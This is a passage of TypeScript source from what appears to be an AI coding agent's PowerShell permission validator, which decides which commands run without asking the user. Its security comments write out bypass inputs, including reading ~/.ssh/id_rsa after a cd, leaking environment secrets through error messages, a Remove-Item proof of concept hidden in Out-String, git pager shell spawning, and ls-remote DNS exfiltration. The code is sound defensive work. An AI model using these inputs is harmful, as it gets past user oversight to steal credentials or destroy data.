 930   */
 931  const PIPELINE_TAIL_CMDLETS = new Set([
 932    'format-table',
 933    'format-list',
 934    'format-wide',
 935    'format-custom',
 936    'measure-object',
 937    'select-object',
 938    'sort-object',
 939    'group-object',
 940    'where-object',
 941    'out-string',
 942    'out-host',
 943  ])
 944  
 945  /**
 946   * External .exe names allowed past the nameType='application' gate.
 947   *
 948   * classifyCommandName returns 'application' for any name containing a dot,
 949   * which the nameType gate at isAllowlistedCommand rejects before allowlist
 950   * lookup. That gate exists to block scripts\Get-Process → stripModulePrefix →
 951   * cmd.name='Get-Process' spoofing. But it also catches benign PATH-resolved
 952   * .exe names like where.exe (bash `which` equivalent — pure read, no dangerous
 953   * flags).
 954   *
 955   * SECURITY: the bypass checks the raw first token of cmd.text, NOT cmd.name.
 956   * stripModulePrefix collapses scripts\where.exe → cmd.name='where.exe', but
 957   * cmd.text preserves the raw 'scripts\where.exe ...'. Matching cmd.text's
 958   * first token defeats that spoofing — only a bare `where.exe` (PATH lookup)
 959   * gets through.
 960   *
 961   * Each entry here MUST have a matching CMDLET_ALLOWLIST entry for flag
 962   * validation.
 963   */
 964  const SAFE_EXTERNAL_EXES = new Set(['where.exe'])
 965  
 966  /**
 967   * Windows PATHEXT extensions that PowerShell resolves via PATH lookup.
 968   * `git.exe`, `git.cmd`, `git.bat`, `git.com` all invoke git at runtime and
 969   * must resolve to the same canonical name so git-safety guards fire.
 970   * .ps1 is intentionally excluded — a script named git.ps1 is not the git
 971   * binary and does not trigger git's hook mechanism.
 972   */
 973  const WINDOWS_PATHEXT = /\.(exe|cmd|bat|com)$/
 974  
 975  /**
 976   * Resolves a command name to its canonical cmdlet name using COMMON_ALIASES.
 977   * Strips Windows executable extensions (.exe, .cmd, .bat, .com) from path-free
 978   * names so e.g. `git.exe` canonicalises to `git` and triggers git-safety
 979   * guards (powershellPermissions.ts hasGitSubCommand). SECURITY: only strips
 980   * when the name has no path separator — `scripts\git.exe` is a relative path
 981   * (runs a local script, not PATH-resolved git) and must NOT canonicalise to
 982   * `git`. Returns lowercase canonical name.
 983   */
 984  export function resolveToCanonical(name: string): string {
 985    let lower = name.toLowerCase()
 986    // Only strip PATHEXT on bare names — paths run a specific file, not the
 987    // PATH-resolved executable the guards are protecting against.
 988    if (!lower.includes('\\') && !lower.includes('/')) {
 989      lower = lower.replace(WINDOWS_PATHEXT, '')
 990    }
 991    const alias = COMMON_ALIASES[lower]
 992    if (alias) {
 993      return alias.toLowerCase()
 994    }
 995    return lower
 996  }
 997  
 998  /**
 999   * Checks if a command name (after alias resolution) alters the path-resolution
1000   * namespace for subsequent statements in the same compound command.
1001   *
1002   * Covers TWO classes:
1003   * 1. Cwd-changing cmdlets: Set-Location, Push-Location, Pop-Location (and
1004   *    aliases cd, sl, chdir, pushd, popd). Subsequent relative paths resolve
1005   *    from the new cwd.
1006   * 2. PSDrive-creating cmdlets: New-PSDrive (and aliases ndr, mount on Windows).
1007   *    Subsequent drive-prefixed paths (p:/foo) resolve via the new drive root,
1008   *    not via the filesystem. Finding #21: `New-PSDrive -Name p -Root /etc;
1009   *    Remove-Item p:/passwd` — the validator cannot know p: maps to /etc.
1010   *
1011   * Any compound containing one of these cannot have its later statements'
1012   * relative/drive-prefixed paths validated against the stale validator cwd.
1013   *
1014   * Name kept for BashTool parity (isCwdChangingCmdlet ↔ compoundCommandHasCd);
1015   * semantically this is "alters path-resolution namespace".
1016   */
1017  export function isCwdChangingCmdlet(name: string): boolean {
1018    const canonical = resolveToCanonical(name)
1019    return (
1020      canonical === 'set-location' ||
1021      canonical === 'push-location' ||
1022      canonical === 'pop-location' ||
1023      // New-PSDrive creates a drive mapping that redirects <name>:/... paths
1024      // to an arbitrary filesystem root. Aliases ndr/mount are not in
1025      // COMMON_ALIASES — check them explicitly (finding #21).
1026      canonical === 'new-psdrive' ||
1027      // ndr/mount are PS aliases for New-PSDrive on Windows only. On POSIX,
1028      // 'mount' is the native mount(8) command; treating it as PSDrive-creating
1029      // would false-positive. (bug #15 / review nit)
1030      (getPlatform() === 'windows' &&
1031        (canonical === 'ndr' || canonical === 'mount'))
1032    )
1033  }
1034  
1035  /**
1036   * Checks if a command name (after alias resolution) is a safe output cmdlet.
1037   */
1038  export function isSafeOutputCommand(name: string): boolean {
1039    const canonical = resolveToCanonical(name)
1040    return SAFE_OUTPUT_CMDLETS.has(canonical)
1041  }
1042  
1043  /**
1044   * Checks if a command element is a pipeline-tail transformer that was moved
1045   * from SAFE_OUTPUT_CMDLETS to CMDLET_ALLOWLIST (PIPELINE_TAIL_CMDLETS set)
1046   * AND passes its argLeaksValue guard via isAllowlistedCommand.
1047   *
1048   * Narrow fallback for isSafeOutputCommand call sites that need to keep the
1049   * "skip harmless pipeline tail" behavior for Format-Table / Select-Object / etc.
1050   * Does NOT match the full CMDLET_ALLOWLIST — only the migrated transformers.
1051   */
1052  export function isAllowlistedPipelineTail(
1053    cmd: ParsedCommandElement,
1054    originalCommand: string,
1055  ): boolean {
1056    const canonical = resolveToCanonical(cmd.name)
1057    if (!PIPELINE_TAIL_CMDLETS.has(canonical)) {
1058      return false
1059    }
1060    return isAllowlistedCommand(cmd, originalCommand)
1061  }
1062  
1063  /**
1064   * Fail-closed gate for read-only auto-allow. Returns true ONLY for a
1065   * PipelineAst where every element is a CommandAst — the one statement
1066   * shape we can fully validate. Everything else (assignments, control
1067   * flow, expression sources, chain operators) defaults to false.
1068   *
1069   * Single code path to true. New AST types added to PowerShell fall
1070   * through to false by construction.
1071   */
1072  export function isProvablySafeStatement(stmt: ParsedStatement): boolean {
1073    if (stmt.statementType !== 'PipelineAst') return false
1074    // Empty commands → vacuously passes the loop below. PowerShell's
1075    // parser guarantees PipelineAst.PipelineElements ≥ 1 for valid source,
1076    // but this gate is the linchpin — defend against parser/JSON edge cases.
1077    if (stmt.commands.length === 0) return false
1078    for (const cmd of stmt.commands) {
1079      if (cmd.elementType !== 'CommandAst') return false
1080    }
1081    return true
1082  }
1083  
1084  /**
1085   * Looks up a command in the allowlist, resolving aliases first.
1086   * Returns the config if found, or undefined.
1087   */
1088  function lookupAllowlist(name: string): CommandConfig | undefined {
1089    const lower = name.toLowerCase()
1090    // Direct lookup first
1091    const direct = CMDLET_ALLOWLIST[lower]
1092    if (direct) {
1093      return direct
1094    }
1095    // Resolve alias to canonical and look up
1096    const canonical = resolveToCanonical(lower)
1097    if (canonical !== lower) {
1098      return CMDLET_ALLOWLIST[canonical]
1099    }
1100    return undefined
1101  }
1102  
1103  /**
1104   * Sync regex-based check for security-concerning patterns in a PowerShell command.
1105   * Used by isReadOnly (which must be sync) as a fast pre-filter before the
1106   * cmdlet allowlist check. This mirrors BashTool's checkReadOnlyConstraints
1107   * which checks bashCommandIsSafe_DEPRECATED before evaluating read-only status.
1108   *
1109   * Returns true if the command contains patterns that indicate it should NOT
1110   * be considered read-only, even if the cmdlet is in the allowlist.
1111   */
1112  export function hasSyncSecurityConcerns(command: string): boolean {
1113    const trimmed = command.trim()
1114    if (!trimmed) {
1115      return false
1116    }
1117  
1118    // Subexpressions: $(...) can execute arbitrary code
1119    if (/\$\(/.test(trimmed)) {
1120      return true
1121    }
1122  
1123    // Splatting: @variable passes arbitrary parameters. Real splatting is
1124    // token-start only — `@` preceded by whitespace/separator/start, not mid-word.
1125    // `[^\w.]` excludes word chars and `.` so `user@example.com` (email) and
1126    // `file.@{u}` don't match, but ` @splat` / `;@splat` / `^@splat` do.
1127    if (/(?:^|[^\w.])@\w+/.test(trimmed)) {
1128      return true
1129    }
1130  
1131    // Member invocations: .Method() can call arbitrary .NET methods
1132    if (/\.\w+\s*\(/.test(trimmed)) {
1133      return true
1134    }
1135  
1136    // Assignments: $var = ... can modify state
1137    if (/\$\w+\s*[+\-*/]?=/.test(trimmed)) {
1138      return true
1139    }
1140  
1141    // Stop-parsing symbol: --% passes everything raw to native commands
1142    if (/--%/.test(trimmed)) {
1143      return true
1144    }
1145  
1146    // UNC paths: \\server\share or //server/share can trigger network requests
1147    // and leak NTLM/Kerberos credentials
1148    // eslint-disable-next-line custom-rules/no-lookbehind-regex -- .test() with atom search, short command strings
1149    if (/\\\\/.test(trimmed) || /(?<!:)\/\//.test(trimmed)) {
1150      return true
1151    }
1152  
1153    // Static method calls: [Type]::Method() can invoke arbitrary .NET methods
1154    if (/::/.test(trimmed)) {
1155      return true
1156    }
1157  
1158    return false
1159  }
1160  
1161  /**
1162   * Checks if a PowerShell command is read-only based on the cmdlet allowlist.
1163   *
1164   * @param command - The original PowerShell command string
1165   * @param parsed - The AST-parsed representation of the command
1166   * @returns true if the command is read-only, false otherwise
1167   */
1168  export function isReadOnlyCommand(
1169    command: string,
1170    parsed?: ParsedPowerShellCommand,
1171  ): boolean {
1172    const trimmedCommand = command.trim()
1173    if (!trimmedCommand) {
1174      return false
1175    }
1176  
1177    // If no parsed AST available, conservatively return false
1178    if (!parsed) {
1179      return false
1180    }
1181  
1182    // If parsing failed, reject
1183    if (!parsed.valid) {
1184      return false
1185    }
1186  
1187    const security = deriveSecurityFlags(parsed)
1188    // Reject commands with script blocks — we can't verify the code inside them
1189    // e.g., Get-Process | ForEach-Object { Remove-Item C:\foo } looks like a safe pipeline
1190    // but the script block contains destructive code
1191    if (
1192      security.hasScriptBlocks ||
1193      security.hasSubExpressions ||
1194      security.hasExpandableStrings ||
1195      security.hasSplatting ||
1196      security.hasMemberInvocations ||
1197      security.hasAssignments ||
1198      security.hasStopParsing
1199    ) {
1200      return false
1201    }
1202  
1203    const segments = getPipelineSegments(parsed)
1204  
1205    if (segments.length === 0) {
1206      return false
1207    }
1208  
1209    // SECURITY: Block compound commands that contain a cwd-changing cmdlet
1210    // (Set-Location/Push-Location/Pop-Location/New-PSDrive) alongside any other
1211    // statement. This was previously scoped to cd+git only, but that overlooked
1212    // the isReadOnlyCommand auto-allow path for cd+read compounds (finding #27):
1213    //   Set-Location ~; Get-Content ./.ssh/id_rsa
1214    // Both cmdlets are in CMDLET_ALLOWLIST, so without this guard the compound
1215    // auto-allows. Path validation resolved ./.ssh/id_rsa against the STALE
1216    // validator cwd (e.g. /project), missing any Read(~/.ssh/**) deny rule.
1217    // At runtime PowerShell cd's to ~, reads ~/.ssh/id_rsa.
1218    //
1219    // Any compound containing a cwd-changing cmdlet cannot be auto-classified
1220    // read-only when other statements may use relative paths — those paths
1221    // resolve differently at runtime than at validation time. BashTool has the
1222    // equivalent guard via compoundCommandHasCd threading into path validation.
1223    const totalCommands = segments.reduce(
1224      (sum, seg) => sum + seg.commands.length,
1225      0,
1226    )
1227    if (totalCommands > 1) {
1228      const hasCd = segments.some(seg =>
1229        seg.commands.some(cmd => isCwdChangingCmdlet(cmd.name)),
1230      )
1231      if (hasCd) {
1232        return false
1233      }
1234    }
1235  
1236    // Check each statement individually - all must be read-only
1237    for (const pipeline of segments) {
1238      if (!pipeline || pipeline.commands.length === 0) {
1239        return false
1240      }
1241  
1242      // Reject file redirections (writing to files). `> $null` discards output
1243      // and is not a filesystem write, so it doesn't disqualify read-only status.
1244      if (pipeline.redirections.length > 0) {
1245        const hasFileRedirection = pipeline.redirections.some(
1246          r => !r.isMerging && !isNullRedirectionTarget(r.target),
1247        )
1248        if (hasFileRedirection) {
1249          return false
1250        }
1251      }
1252  
1253      // First command must be in the allowlist
1254      const firstCmd = pipeline.commands[0]
1255      if (!firstCmd) {
1256        return false
1257      }
1258  
1259      if (!isAllowlistedCommand(firstCmd, command)) {
1260        return false
1261      }
1262  
1263      // Remaining pipeline commands must be safe output cmdlets OR allowlisted
1264      // (with arg validation). Format-Table/Measure-Object moved from
1265      // SAFE_OUTPUT_CMDLETS to CMDLET_ALLOWLIST after security review found all
1266      // accept calculated-property hashtables. isAllowlistedCommand runs their
1267      // argLeaksValue callback: bare `| Format-Table` passes, `| Format-Table
1268      // $env:SECRET` fails. SECURITY: nameType gate catches 'scripts\\Out-Null'
1269      // (raw name has path chars → 'application'). cmd.name is stripped to
1270      // 'Out-Null' which would match SAFE_OUTPUT_CMDLETS, but PowerShell runs
1271      // scripts\\Out-Null.ps1.
1272      for (let i = 1; i < pipeline.commands.length; i++) {
1273        const cmd = pipeline.commands[i]
1274        if (!cmd || cmd.nameType === 'application') {
1275          return false
1276        }
1277        // SECURITY: isSafeOutputCommand is name-only; only short-circuit for
1278        // zero-arg invocations. Out-String -InputObject:(rm x) — the paren is
1279        // evaluated when Out-String runs. With name-only check and args, the
1280        // colon-bound paren bypasses. Force isAllowlistedCommand (arg validation)
1281        // when args present — Out-String/Out-Null/Out-Host are NOT in
1282        // CMDLET_ALLOWLIST so any args will reject.
1283        //   PoC: Get-Process | Out-String -InputObject:(Remove-Item /tmp/x)
1284        //   → auto-allow → Remove-Item runs.
1285        if (isSafeOutputCommand(cmd.name) && cmd.args.length === 0) {
1286          continue
1287        }
1288        if (!isAllowlistedCommand(cmd, command)) {
1289          return false
1290        }
1291      }
1292  
1293      // SECURITY: Reject statements with nested commands. nestedCommands are
1294      // CommandAst nodes found inside script block arguments, ParenExpressionAst
1295      // children of colon-bound parameters, or other non-top-level positions.
1296      // A statement with nestedCommands is by definition not a simple read-only
1297      // invocation — it contains executable sub-pipelines that bypass the
1298      // per-command allowlist check above.
1299      if (pipeline.nestedCommands && pipeline.nestedCommands.length > 0) {
1300        return false
1301      }
1302    }
1303  
1304    return true
1305  }
1306  
1307  /**
1308   * Checks if a single command element is in the allowlist and passes flag validation.
1309   */
1310  export function isAllowlistedCommand(
1311    cmd: ParsedCommandElement,
1312    originalCommand: string,
1313  ): boolean {
1314    // SECURITY: nameType is computed from the raw (pre-stripModulePrefix) name.
1315    // 'application' means the raw name contains path chars (. \\ /) — e.g.
1316    // 'scripts\\Get-Process', './git', 'node.exe'. PowerShell resolves these as
1317    // file paths, not as the cmdlet/command the stripped name matches. Never
1318    // auto-allow: the allowlist was built for cmdlets, not arbitrary scripts.
1319    // Known collateral: 'Microsoft.PowerShell.Management\\Get-ChildItem' also
1320    // classifies as 'application' (contains . and \\) and will prompt. Acceptable
1321    // since module-qualified names are rare in practice and prompting is safe.
1322    if (cmd.nameType === 'application') {
1323      // Bypass for explicit safe .exe names (bash `which` parity — see
1324      // SAFE_EXTERNAL_EXES). SECURITY: match the raw first token of cmd.text,
1325      // not cmd.name. stripModulePrefix collapses scripts\where.exe →
1326      // cmd.name='where.exe', but cmd.text preserves 'scripts\where.exe ...'.
1327      const rawFirstToken = cmd.text.split(/\s/, 1)[0]?.toLowerCase() ?? ''
1328      if (!SAFE_EXTERNAL_EXES.has(rawFirstToken)) {
1329        return false
1330      }
1331      // Fall through to lookupAllowlist — CMDLET_ALLOWLIST['where.exe'] handles
1332      // flag validation (empty config = all flags OK, matching bash's `which`).
1333    }
1334  
1335    const config = lookupAllowlist(cmd.name)
1336    if (!config) {
1337      return false
1338    }
1339  
1340    // If there's a regex constraint, check it against the original command
1341    if (config.regex && !config.regex.test(originalCommand)) {
1342      return false
1343    }
1344  
1345    // If there's an additional callback, check it
1346    if (config.additionalCommandIsDangerousCallback?.(originalCommand, cmd)) {
1347      return false
1348    }
1349  
1350    // SECURITY: whitelist arg elementTypes — only StringConstant and Parameter
1351    // are statically verifiable. Everything else expands/evaluates at runtime:
1352    //   'Variable'          → `Get-Process $env:AWS_SECRET_ACCESS_KEY` expands,
1353    //                         errors "Cannot find process 'sk-ant-...'", model
1354    //                         reads the secret from the error
1355    //   'Other' (Hashtable) → `Get-Process @{k=$env:SECRET}` same leak
1356    //   'Other' (Convert)   → `Get-Process [string]$env:SECRET` same leak
1357    //   'Other' (BinaryExpr)→ `Get-Process ($env:SECRET + '')` same leak
1358    //   'SubExpression'     → arbitrary code (already caught by deriveSecurityFlags
1359    //                         at the isReadOnlyCommand layer, but isAllowlistedCommand
1360    //                         is also called from checkPermissionMode directly)
1361    // hasSyncSecurityConcerns misses bare $var (only matches `$(`/@var/.Method(/
1362    // $var=/--%/::); deriveSecurityFlags has no 'Variable' case; the safeFlags
1363    // loop below validates flag NAMES but not positional arg TYPES. File cmdlets
1364    // (CMDLET_PATH_CONFIG) are already protected by SAFE_PATH_ELEMENT_TYPES in
1365    // pathValidation.ts — this closes the gap for non-file cmdlets (Get-Process,
1366    // Get-Service, Get-Command, ~15 others). PS equivalent of Bash's blanket `$`
1367    // token check at BashTool/readOnlyValidation.ts:~1356.
1368    //
1369    // Placement: BEFORE external-command dispatch so git/gh/docker/dotnet get
1370    // this too (defense-in-depth with their string-based `$` checks; catches
1371    // @{...}/[cast]/($a+$b) that `$` substring misses). In PS argument mode,
1372    // bare `5` tokenizes as StringConstant (BareWord), not a numeric literal,
1373    // so `git log -n 5` passes.
1374    //
1375    // SECURITY: elementTypes undefined → fail-closed. The real parser always
1376    // sets it (parser.ts:769/781/812), so undefined means an untrusted or
1377    // malformed element. Previously skipped (fail-open) for test-helper
1378    // convenience; test helpers now set elementTypes explicitly.
1379    // elementTypes[0] is the command name; args start at elementTypes[1].
1380    if (!cmd.elementTypes) {
1381      return false
1382    }
1383    {
1384      for (let i = 1; i < cmd.elementTypes.length; i++) {
1385        const t = cmd.elementTypes[i]
1386        if (t !== 'StringConstant' && t !== 'Parameter') {
1387          // ArrayLiteralAst (`Get-Process Name, Id`) maps to 'Other'. The
1388          // leak vectors enumerated above all have a metachar in their extent
1389          // text: Hashtable `@{`, Convert `[`, BinaryExpr-with-var `$`,
1390          // ParenExpr `(`. A bare comma-list of identifiers has none.
1391          if (!/[$(@{[]/.test(cmd.args[i - 1] ?? '')) {
1392            continue
1393          }
1394          return false
1395        }
1396        // Colon-bound parameter (`-Flag:$env:SECRET`) is a SINGLE
1397        // CommandParameterAst — the VariableExpressionAst is its .Argument
1398        // child, not a separate CommandElement, so elementTypes says 'Parameter'
1399        // and the whitelist above passes.
1400        //
1401        // Query the parser's children[] tree instead of doing
1402        // string-archaeology on the arg text. children[i-1] holds the
1403        // .Argument child's mapped type (aligned with args[i-1]).
1404        // Tree query catches MORE than the string check — e.g.
1405        // `-InputObject:@{k=v}` (HashtableAst → 'Other', no `$` in text),
1406        // `-Name:('payload' > file)` (ParenExpressionAst with redirection).
1407        // Fallback to the extended metachar check when children is undefined
1408        // (backward compat / test helpers that don't set it).
1409        if (t === 'Parameter') {
1410          const paramChildren = cmd.children?.[i - 1]
1411          if (paramChildren) {
1412            if (paramChildren.some(c => c.type !== 'StringConstant')) {
1413              return false
1414            }
1415          } else {
1416            // Fallback: string-archaeology on arg text (pre-children parsers).
1417            // Reject `$` (variable), `(` (ParenExpressionAst), `@` (hash/array
1418            // sub), `{` (scriptblock), `[` (type literal/static method).
1419            const arg = cmd.args[i - 1] ?? ''
1420            const colonIdx = arg.indexOf(':')
1421            if (colonIdx > 0 && /[$(@{[]/.test(arg.slice(colonIdx + 1))) {
1422              return false
1423            }
1424          }
1425        }
1426      }
1427    }
1428  
1429    const canonical = resolveToCanonical(cmd.name)
1430  
1431    // Handle external commands via shared validation
1432    if (
1433      canonical === 'git' ||
1434      canonical === 'gh' ||
1435      canonical === 'docker' ||
1436      canonical === 'dotnet'
1437    ) {
1438      return isExternalCommandSafe(canonical, cmd.args)
1439    }
1440  
1441    // On Windows, / is a valid flag prefix for native commands (e.g., findstr /S).
1442    // But PowerShell cmdlets always use - prefixed parameters, so /tmp is a path,
1443    // not a flag. We detect cmdlets by checking if the command resolves to a
1444    // Verb-Noun canonical name (either directly or via alias).
1445    const isCmdlet = canonical.includes('-')
1446  
1447    // SECURITY: if allowAllFlags is set, skip flag validation (command's entire
1448    // flag surface is read-only). Otherwise, missing/empty safeFlags means
1449    // "positional args only, reject all flags" — NOT "accept everything".
1450    if (config.allowAllFlags) {
1451      return true
1452    }
1453    if (!config.safeFlags || config.safeFlags.length === 0) {
1454      // No safeFlags defined and allowAllFlags not set: reject any flags.
1455      // Positional-only args are still allowed (the loop below won't fire).
1456      // This is the safe default — commands must opt in to flag acceptance.
1457      const hasFlags = cmd.args.some((arg, i) => {
1458        if (isCmdlet) {
1459          return isPowerShellParameter(arg, cmd.elementTypes?.[i + 1])
1460        }
1461        return (
1462          arg.startsWith('-') ||
1463          (process.platform === 'win32' && arg.startsWith('/'))
1464        )
1465      })
1466      return !hasFlags
1467    }
1468  
1469    // Validate that all flags used are in the allowlist.
1470    // SECURITY: use elementTypes as ground
1471    // truth for parameter detection. PowerShell's tokenizer accepts en-dash/
1472    // em-dash/horizontal-bar (U+2013/2014/2015) as parameter prefixes; a raw
1473    // startsWith('-') check misses `–ComputerName` (en-dash). The parser maps
1474    // CommandParameterAst → 'Parameter' regardless of dash char.
1475    // elementTypes[0] is the name element; args start at elementTypes[1].
1476    for (let i = 0; i < cmd.args.length; i++) {
1477      const arg = cmd.args[i]!
1478      // For cmdlets: trust elementTypes (AST ground truth, catches Unicode dashes).
1479      // For native exes on Windows: also check `/` prefix (argv convention, not
1480      // tokenizer — the parser sees `/S` as a positional, not CommandParameterAst).
1481      const isFlag = isCmdlet
1482        ? isPowerShellParameter(arg, cmd.elementTypes?.[i + 1])
1483        : arg.startsWith('-') ||
1484          (process.platform === 'win32' && arg.startsWith('/'))
1485      if (isFlag) {
1486        // For cmdlets, normalize Unicode dash to ASCII hyphen for safeFlags
1487        // comparison (safeFlags entries are always written with ASCII `-`).
1488        // Native-exe safeFlags are stored with `/` (e.g. '/FO') — don't touch.
1489        let paramName = isCmdlet ? '-' + arg.slice(1) : arg
1490        const colonIndex = paramName.indexOf(':')
1491        if (colonIndex > 0) {
1492          paramName = paramName.substring(0, colonIndex)
1493        }
1494  
1495        // -ErrorAction/-Verbose/-Debug etc. are accepted by every cmdlet via
1496        // [CmdletBinding()] and only route error/warning/progress streams —
1497        // they can't make a read-only cmdlet write. pathValidation.ts already
1498        // merges these into its per-cmdlet param sets (line ~1339); this is
1499        // the same merge for safeFlags. Without it, `Get-Content file.txt
1500        // -ErrorAction SilentlyContinue` prompts despite Get-Content being
1501        // allowlisted. Only for cmdlets — native exes don't have common params.
1502        const paramLower = paramName.toLowerCase()
1503        if (isCmdlet && COMMON_PARAMETERS.has(paramLower)) {
1504          continue
1505        }
1506        const isSafe = config.safeFlags.some(
1507          flag => flag.toLowerCase() === paramLower,
1508        )
1509        if (!isSafe) {
1510          return false
1511        }
1512      }
1513    }
1514  
1515    return true
1516  }
1517  
1518  // ---------------------------------------------------------------------------
1519  // External command validation (git, gh, docker) using shared configs
1520  // ---------------------------------------------------------------------------
1521  
1522  function isExternalCommandSafe(command: string, args: string[]): boolean {
1523    switch (command) {
1524      case 'git':
1525        return isGitSafe(args)
1526      case 'gh':
1527        return isGhSafe(args)
1528      case 'docker':
1529        return isDockerSafe(args)
1530      case 'dotnet':
1531        return isDotnetSafe(args)
1532      default:
1533        return false
1534    }
1535  }
1536  
1537  const DANGEROUS_GIT_GLOBAL_FLAGS = new Set([
1538    '-c',
1539    '-C',
1540    '--exec-path',
1541    '--config-env',
1542    '--git-dir',
1543    '--work-tree',
1544    // SECURITY: --attr-source creates a parser differential. Git treats the
1545    // token after the tree-ish value as a pathspec (not the subcommand), but
1546    // our skip-by-2 loop would treat it as the subcommand:
1547    //   git --attr-source HEAD~10 log status
1548    //   validator: advances past HEAD~10, sees subcmd=log → allow
1549    //   git:       consumes `log` as pathspec, runs `status` as the real subcmd
1550    // Verified with `GIT_TRACE=1 git --attr-source HEAD~10 log status` →
1551    // `trace: built-in: git status`. Reject outright rather than skip-by-2.
1552    '--attr-source',
1553  ])
1554  
1555  // Git global flags that accept a separate (space-separated) value argument.
1556  // When the loop encounters one without an inline `=` value, it must skip the
1557  // next token so the value isn't mistaken for the subcommand.
1558  //
1559  // SECURITY: This set must be COMPLETE. Any value-consuming global flag not
1560  // listed here creates a parser differential: validator sees the value as the
1561  // subcommand, git consumes it and runs the NEXT token. Audited against
1562  // `man git` + GIT_TRACE for git 2.51; --list-cmds is `=`-only, booleans
1563  // (-p/--bare/--no-*/--*-pathspecs/--html-path/etc.) advance by 1 via the
1564  // default path. --attr-source REMOVED: it also triggers pathspec parsing,
1565  // creating a second differential — moved to DANGEROUS_GIT_GLOBAL_FLAGS above.
1566  const GIT_GLOBAL_FLAGS_WITH_VALUES = new Set([
1567    '-c',
1568    '-C',
1569    '--exec-path',
1570    '--config-env',
1571    '--git-dir',
1572    '--work-tree',
1573    '--namespace',
1574    '--super-prefix',
1575    '--shallow-file',
1576  ])
1577  
1578  // Git short global flags that accept attached-form values (no space between
1579  // flag letter and value). Long options (--git-dir etc.) require `=` or space,
1580  // so the split-on-`=` check handles them. But `-ccore.pager=sh` and `-C/path`
1581  // need prefix matching: git parses `-c<name>=<value>` and `-C<path>` directly.
1582  const DANGEROUS_GIT_SHORT_FLAGS_ATTACHED = ['-c', '-C']
1583  
1584  function isGitSafe(args: string[]): boolean {
1585    if (args.length === 0) {
1586      return true
1587    }
1588  
1589    // SECURITY: Reject any arg containing `$` (variable reference). Bare
1590    // VariableExpressionAst positionals reach here as literal text ($env:SECRET,
1591    // $VAR). deriveSecurityFlags does not gate bare Variable args. The validator
1592    // sees `$VAR` as text; PowerShell expands it at runtime. Parser differential:
1593    //   git diff $VAR   where $VAR = '--output=/tmp/evil'
1594    //   → validator sees positional '$VAR' → validateFlags passes
1595    //   → PowerShell runs `git diff --output=/tmp/evil` → file write
1596    // This generalizes the ls-remote inline `$` guard below to all git subcommands.
1597    // Bash equivalent: BashTool blanket
1598    // `$` rejection at readOnlyValidation.ts:~1352. isGhSafe has the same guard.
1599    for (const arg of args) {
1600      if (arg.includes('$')) {
1601        return false
1602      }
1603    }
1604  
1605    // Skip over global flags before the subcommand, rejecting dangerous ones.
1606    // Flags that take space-separated values must consume the next token so it
1607    // isn't mistaken for the subcommand (e.g. `git --namespace foo status`).
1608    let idx = 0
1609    while (idx < args.length) {
1610      const arg = args[idx]
1611      if (!arg || !arg.startsWith('-')) {
1612        break
1613      }
1614      // SECURITY: Attached-form short flags. `-ccore.pager=sh` splits on `=` to
1615      // `-ccore.pager`, which isn't in DANGEROUS_GIT_GLOBAL_FLAGS. Git accepts
1616      // `-c<name>=<value>` and `-C<path>` with no space. We must prefix-match.
1617      // Note: `--cached`, `--config-env`, etc. already fail startsWith('-c') at
1618      // position 1 (`-` ≠ `c`). The `!== '-'` guard only applies to `-c`
1619      // (git config keys never start with `-`, so `-c-key` is implausible).
1620      // It does NOT apply to `-C` — directory paths CAN start with `-`, so
1621      // `git -C-trap status` must reject. `git -ccore.pager=sh log` spawns a shell.
1622      for (const shortFlag of DANGEROUS_GIT_SHORT_FLAGS_ATTACHED) {
1623        if (
1624          arg.length > shortFlag.length &&
1625          arg.startsWith(shortFlag) &&
1626          (shortFlag === '-C' || arg[shortFlag.length] !== '-')
1627        ) {
1628          return false
1629        }
1630      }
1631      const hasInlineValue = arg.includes('=')
1632      const flagName = hasInlineValue ? arg.split('=')[0] || '' : arg
1633      if (DANGEROUS_GIT_GLOBAL_FLAGS.has(flagName)) {
1634        return false
1635      }
1636      // Consume the next token if the flag takes a separate value
1637      if (!hasInlineValue && GIT_GLOBAL_FLAGS_WITH_VALUES.has(flagName)) {
1638        idx += 2
1639      } else {
1640        idx++
1641      }
1642    }
1643  
1644    if (idx >= args.length) {
1645      return true
1646    }
1647  
1648    // Try multi-word subcommand first (e.g. 'stash list', 'config --get', 'remote show')
1649    const first = args[idx]?.toLowerCase() || ''
1650    const second = idx + 1 < args.length ? args[idx + 1]?.toLowerCase() || '' : ''
1651  
1652    // GIT_READ_ONLY_COMMANDS keys are like 'git diff', 'git stash list'
1653    const twoWordKey = `git ${first} ${second}`
1654    const oneWordKey = `git ${first}`
1655  
1656    let config: ExternalCommandConfig | undefined =
1657      GIT_READ_ONLY_COMMANDS[twoWordKey]
1658    let subcommandTokens = 2
1659  
1660    if (!config) {
1661      config = GIT_READ_ONLY_COMMANDS[oneWordKey]
1662      subcommandTokens = 1
1663    }
1664  
1665    if (!config) {
1666      return false
1667    }
1668  
1669    const flagArgs = args.slice(idx + subcommandTokens)
1670  
1671    // git ls-remote URL rejection — ported from BashTool's inline guard
1672    // (src/tools/BashTool/readOnlyValidation.ts:~962). ls-remote with a URL
1673    // is a data-exfiltration vector (encode secrets in hostname → DNS/HTTP).
1674    // Reject URL-like positionals: `://` (http/git protocols), `@` + `:` (SSH
1675    // git@host:path), and `$` (variable refs — $env:URL reaches here as the
1676    // literal string '$env:URL' when the arg's elementType is Variable; the
1677    // security-flag checks don't gate bare Variable positionals passed to
1678    // external commands).
1679    if (first === 'ls-remote') {
1680      for (const arg of flagArgs) {
1681        if (!arg.startsWith('-')) {
1682          if (
1683            arg.includes('://') ||
1684            arg.includes('@') ||
1685            arg.includes(':') ||
1686            arg.includes('$')
1687          ) {
1688            return false
1689          }
1690        }
1691      }
1692    }
1693  
1694    if (
1695      config.additionalCommandIsDangerousCallback &&
1696      config.additionalCommandIsDangerousCallback('', flagArgs)
1697    ) {
1698      return false
1699    }
1700    return validateFlags(flagArgs, 0, config, { commandName: 'git' })
1701  }
1702  
1703  function isGhSafe(args: string[]): boolean {
1704    // gh commands are network-dependent; only allow for ant users
1705    if (process.env.USER_TYPE !== 'ant') {
1706      return false
1707    }
1708  
1709    if (args.length === 0) {
1710      return true
1711    }
1712  
1713    // Try two-word subcommand first (e.g. 'pr view')
1714    let config: ExternalCommandConfig | undefined
1715    let subcommandTokens = 0
1716  
1717    if (args.length >= 2) {
1718      const twoWordKey = `gh ${args[0]?.toLowerCase()} ${args[1]?.toLowerCase()}`
1719      config = GH_READ_ONLY_COMMANDS[twoWordKey]
1720      subcommandTokens = 2
1721    }
1722  
1723    // Try single-word subcommand (e.g. 'gh version')
1724    if (!config && args.length >= 1) {
1725      const oneWordKey = `gh ${args[0]?.toLowerCase()}`
